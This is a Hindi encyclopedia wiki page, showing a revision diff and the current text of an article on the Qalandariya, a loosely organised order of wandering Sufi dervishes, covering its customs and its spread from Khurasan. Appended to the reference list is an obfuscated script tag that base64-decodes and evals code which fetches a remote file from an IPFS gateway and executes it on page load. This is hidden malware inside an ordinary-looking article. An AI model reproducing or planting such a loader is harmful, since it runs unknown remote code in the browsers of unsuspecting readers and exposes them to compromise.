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*इसके अनुयायी मुस्लिम समाज के प्रतिमानों के प्रति अवहेलना के लिए कुख्यात हैं और साथ ही नशीले पदार्थों के सेवन तथा असभ्य व्यवहार के लिए भी बदनाम हैं। वे सिर, चेहरे और भौंहों को मुंडाते हैं, केवल कंबल ओढ़ते या जांघों तक लंबी ऊनी कमीज़ पहनते हैं। घुमंतू जीवन बिताते हैं और सभी प्रकार के कार्यों को क़ानूनी मानते हैं। | *इसके अनुयायी मुस्लिम समाज के प्रतिमानों के प्रति अवहेलना के लिए कुख्यात हैं और साथ ही नशीले पदार्थों के सेवन तथा असभ्य व्यवहार के लिए भी बदनाम हैं। वे सिर, चेहरे और भौंहों को मुंडाते हैं, केवल कंबल ओढ़ते या जांघों तक लंबी ऊनी कमीज़ पहनते हैं। घुमंतू जीवन बिताते हैं और सभी प्रकार के कार्यों को क़ानूनी मानते हैं। | ||
*इस आंदोलन का ज़िक्र प्रथम: 11वीं सदी में [[ख़ुरासान]] में आया, फिर यह [[भारत]], सीरिया और पश्चिमी [[ईरान]] में फैला। | *इस आंदोलन का ज़िक्र प्रथम: 11वीं सदी में [[ख़ुरासान]] में आया, फिर यह [[भारत]], सीरिया और पश्चिमी [[ईरान]] में फैला। | ||
− | *क़लंदरिया लोग ही ऑटोमन साम्राज्य में 16वीं सदी के पूर्व हुई बग़ावतों के लिए ज़िम्मेदार थे। | + | *क़लंदरिया लोग ही ऑटोमन साम्राज्य में 16वीं सदी के पूर्व हुई बग़ावतों के लिए ज़िम्मेदार थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारत ज्ञानकोश, खण्ड-1|लेखक=इंदु रामचंदानी|अनुवादक= |आलोचक= |प्रकाशक=एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=327|url=}}</ref> |
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09:28, 8 अगस्त 2014 के समय का अवतरण
क़लंदरिया ख़ानाबदोश मुस्लिम दरवेशों का एक शिथिल रूप से संगठित समूह, जो एक 'अनियमित'[1] या विपरीतगामी सूफ़ी रहस्यवादी सिलसिला है।
- क़लंदरियाई मत शायद मध्य एशिया के मलामतियाओं से उभरा और इस पर बौद्ध व हिन्दू प्रभाव लक्षित होते हैं।
- इसके अनुयायी मुस्लिम समाज के प्रतिमानों के प्रति अवहेलना के लिए कुख्यात हैं और साथ ही नशीले पदार्थों के सेवन तथा असभ्य व्यवहार के लिए भी बदनाम हैं। वे सिर, चेहरे और भौंहों को मुंडाते हैं, केवल कंबल ओढ़ते या जांघों तक लंबी ऊनी कमीज़ पहनते हैं। घुमंतू जीवन बिताते हैं और सभी प्रकार के कार्यों को क़ानूनी मानते हैं।
- इस आंदोलन का ज़िक्र प्रथम: 11वीं सदी में ख़ुरासान में आया, फिर यह भारत, सीरिया और पश्चिमी ईरान में फैला।
- क़लंदरिया लोग ही ऑटोमन साम्राज्य में 16वीं सदी के पूर्व हुई बग़ावतों के लिए ज़िम्मेदार थे।[2]
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टीका टिप्पणी और संदर्भ
- ↑ बिशर्अ
- ↑ भारत ज्ञानकोश, खण्ड-1 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 327 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
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